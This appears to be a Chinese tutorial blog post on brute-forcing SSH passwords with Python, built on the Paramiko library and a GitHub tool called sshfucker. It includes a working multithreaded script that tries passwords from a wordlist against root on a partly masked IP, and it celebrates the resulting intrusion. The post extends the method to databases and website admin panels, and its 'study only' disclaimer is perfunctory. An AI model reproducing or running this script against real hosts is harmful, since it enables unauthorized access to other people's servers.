手把手教你用Python进行SSH暴力破解
暴力破解屬于密碼破解的一種,也是最常見的破解方法之一,通過不斷的嘗試來達(dá)到破解的目的,所以暴力破解的本質(zhì)就是一種枚舉。
現(xiàn)在也有很多流行的破解軟件,不過個人覺得裝上kail其實(shí)也就啥都有了,但是今天我們不說他們,今天主題是如何使用Python來進(jìn)行SSH的暴力破解。
在Github上有一個庫叫sshfucker,專門用于 SSH 的暴力破解。
https://github.com/TheKingOfDuck/sshfucker
這個模塊很簡單,代碼實(shí)現(xiàn)不到70行,只封裝了一個py文件。
我們可以明顯的看到,這個模塊依賴于 Paramiko?
Paramiko 是用于建立 SSH2 連接(客戶端或服務(wù)器)的庫,基于Python實(shí)現(xiàn)。重點(diǎn)是使用 SSH2 作為 SSL 的替代方法,以在 Python 腳本之間建立安全連接。支持所有主要密碼和哈希方法。也支持 SFTP 客戶端和服務(wù)器模式。
Paramiko 庫在Python自動化運(yùn)維領(lǐng)域很受推崇。
pip?install?paramiko然后我們還可以看到這個模塊實(shí)際上就是利用 Paramiko? 建立了 ssh 的客戶端連接,批量導(dǎo)入文件,采用多線程的方式來進(jìn)行暴力破解,思路很清晰。
我們修改代碼實(shí)現(xiàn)如下
import?sys import?paramiko import?threading from?concurrent.futures?import?ThreadPoolExecutorssh?=?paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())?? is_find=Falsedef?SshCheck(password):try:ssh.connect("119.23.xx.xx",?22,?'root',?password,?timeout=1.5)stdin,?stdout,?stderr?=?ssh.exec_command('df')result?=?stdout.read()if?result:sys.stdout.write('[OK]'?+?'\t'?+?password?+?'\n')global?is_findis_find?=?Trueexit()except?Exception?as?e:print(e,?"失敗!!!")finally:ssh.close()filedata?=?open("pwds.txt",?"r") def?run():pool?=?ThreadPoolExecutor(3)while?1:global?is_findif?is_find:breakline?=?filedata.readline()if?not?line:breakline?=?line.strip("\n")pool.submit(SshCheck,line)run()采用了協(xié)程并發(fā)來進(jìn)行ssh連接,如果成功破解我們就直接退出。
這里的pwds.txt 文件用于存放破解密碼。
回車鍵一按,叮叮,收到服務(wù)器被入侵的短信!!!
你也可以用你的云服務(wù)器或者自己搭建的服務(wù)器進(jìn)行測試,只要 ssh驗(yàn)證的ip,端口和密碼正確,即破解成功。
破解一直爽,一直破解一直爽,利用Python不僅可以對ssh進(jìn)行暴力破解,數(shù)據(jù)庫,網(wǎng)站后臺管理也是同樣的道理,只不過使用的庫不同而已。
本文只是出于對Python的學(xué)習(xí)研究,請勿用于非法用途,小心被請喝茶喲!!
推薦閱讀 誤執(zhí)行了rm -fr /*之后,除了跑路還能怎么辦?!程序員必備58個網(wǎng)站匯總大幅提高生產(chǎn)力:你需要了解的十大Jupyter Lab插件總結(jié)
以上是生活随笔為你收集整理的手把手教你用Python进行SSH暴力破解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 卧槽!12个杭州阿里高学历女员工被初中男
- 下一篇: Python 中的面向对象没有意义